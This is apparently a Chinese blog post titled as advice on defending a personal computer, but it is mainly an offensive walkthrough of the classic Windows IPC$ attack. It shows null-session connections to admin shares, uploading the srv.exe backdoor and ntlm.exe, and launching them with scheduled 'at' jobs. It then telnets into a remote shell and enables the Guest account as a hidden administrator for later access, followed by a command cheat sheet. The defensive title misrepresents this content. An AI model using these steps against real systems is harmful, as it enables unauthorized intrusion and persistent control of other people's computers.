電腦被攻擊了怎麼辦(個人電腦如何防禦攻擊)

在電影中,黑客總是在滿屏程式碼的操作介面操控攻擊電腦,很是炫酷,我們也可以使用簡單的CMD命令對電腦進行安全測試,不僅有逼格還很實用,快來一起學習學習吧!

一 相關命令

建立空連線:

net use //IP/ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)

建立非空連線:

net use //IP/ipc$ "使用者名稱" /user:"密碼" (同樣有3個空格)

對映預設共享:

net use z: //IP/c$ "密碼" /user:"使用者名稱" (即可將對方的c盤對映為自己的z盤,其他盤類推)

如果已經和目標建立了ipc$,則可以直接用IP 碟符 $訪問,具體命令 net use z: //IP/c$

刪除一個ipc$連線

net use //IP/ipc$ /del

刪除共享對映

net use c: /del 刪除對映的c盤,其他盤類推

net use * /del 刪除全部,會有提示要求按y確認

提示:對於不熟悉命令列操作的朋友來說.建立ipc$連線後,可以在"我的電腦"或"網路上的芳鄰"右鍵對映網路驅動器,效果一樣.

二 經典攻擊模式

1. C:/>net use //127.0.0.1/IPC$ "" /user:"admintitrators"

這是用《流光》掃到的使用者名稱是administrators,密碼為"空"的IP地址(空口令?哇,運氣好到家了),如果是打算攻擊的話,就可以用這樣的命令來與127.0.0.1建立一個連線,因為密碼為"空",所以第一個引號處就不用輸入,後面一個雙引號裡的是使用者名稱,輸入administrators,命令即可成功完成。

2. C:/>copy srv.exe //127.0.0.1/admin$

先複製srv.exe上去,在流光的Tools目錄下就有(這裡的$是指admin使用者的c:/winnt/system32/,大家還可以使用c$、d$,意思是C盤與D盤,這看你要複製到什麼地方去了)。

3. C:/>net time //127.0.0.1

查查時間,發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00,命令成功完成。

4. C:/>at //127.0.0.1 11:05 srv.exe

用at命令啟動srv.exe吧(這裡設定的時間要比主機時間快,不然你怎麼啟動啊,呵呵!)

5. C:/>net time //127.0.0.1

再查查到時間沒有?如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05,那就準備開始下面的命令。

6. C:/>telnet 127.0.0.1 99

這裡會用到Telnet命令吧,注意埠是99。Telnet預設的是23埠,但是我們使用的是SRV在對方計算機中為我們建立一個99埠的Shell。

雖然我們可以Telnet上去了,但是SRV是一次性的,下次登入還要再啟用!所以我們打算建立一個Telnet服務!這就要用到ntlm了

7.C:/>copy ntlm.exe //127.0.0.1/admin$

用Copy命令把ntlm.exe上傳到主機上(ntlm.exe也是在《流光》的Tools目錄中)。

8. C:/WINNT/system32>ntlm

輸入ntlm啟動(這裡的C:/WINNT/system32>指的是對方計算機,執行ntlm其實是讓這個程式在對方計算機上執行)。當出現"DONE"的時候,就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務!

9.Telnet 127.0.0.1,接著輸入使用者名稱與密碼就進入對方了,操作就像在DOS上操作一樣簡單!(然後你想做什麼?想做什麼就做什麼吧,哈哈)

為了以防萬一,我們再把guest啟用加到管理組

10. C:/>net user guest /active:yes

將對方的Guest使用者啟用

11. C:/>net user guest 1234

將Guest的密碼改為1234,或者你要設定的密碼

12. C:/>net localgroup administrators guest /add

將Guest變為Administrator^_^(如果管理員密碼更改,guest帳號沒改變的話,下次我們可以用guest再次訪問這臺計算機).

ipc$經典攻擊步驟:

1、net use //ip/ipc$ 密碼 /user:使用者名稱

2、copy 檔名 //ip/c$

3、net time //ip

4、at //ip 時間 命令

5、攻擊成功,連線你的肉雞

常用的網路命令

net user 檢視使用者列表

net user 使用者名稱 密碼 /add 新增使用者

net user 使用者名稱 密碼 更改使用者密碼

net localgroup administrators 使用者名稱 /add 新增使用者到管理組

net user 使用者名稱 /delete 刪除使用者

net user 使用者名稱 檢視使用者的基本情況

net user 使用者名稱 /active:no 禁用該使用者

net user 使用者名稱 /active:yes 啟用該使用者

net share 檢視計算機IPC$共享資源

net share 共享名 檢視該共享的情況

net share 共享名=路徑 設定共享。例如 net share c$=c:

net share 共享名 /delete 刪除IPC$共享

net stop lanmanserver 關閉ipc$和預設共享依賴的服務

net use 檢視IPC$連線情況

net use //ip/ipc$ "密碼" /user:"使用者名稱" ipc$連線

net use //ip/ipc$ /del 刪除一個連線

net use z: //目標IP/c$ "密碼" /user:"使用者名稱" 將對方的c盤對映為自己的z盤

net use z: /del

net time //ip 檢視遠端計算機上的時間

copy 路徑:/檔名 //ip/共享名複製檔案到已經ipc$連線的計算機上

net view ip 檢視計算機上的共享資源

at 檢視自己計算機上的計劃作業

at //ip 檢視遠端計算機上的計劃作業

at //ip 時間 命令(注意加碟符) 在遠端計算機上加一個作業

at //ip 計劃作業ID /delete 刪除遠端計算機上的一個計劃作業

at //ip all /delete 刪除遠端計算機上的全部計劃作業

at //ip time "echo 5 > c:/t.txt" 在遠端計算機上建立文字檔案t.txt;

下面純手打,上面是度娘給的

taskkill /im 程序名 停止執行

tasklisy 檢視執行程序

ipconfig 檢視本機IP

md 建立資料夾

rd 刪除資料夾

echo off > .txt|exit 新增文字

echo 內容 >> .txt 給文字新增內容

copy 複製檔案

net user 使用者名稱 密碼/add 建立一個普通賬號

net localgroup administrators 使用者名稱 /add 把賬戶加入超級使用者組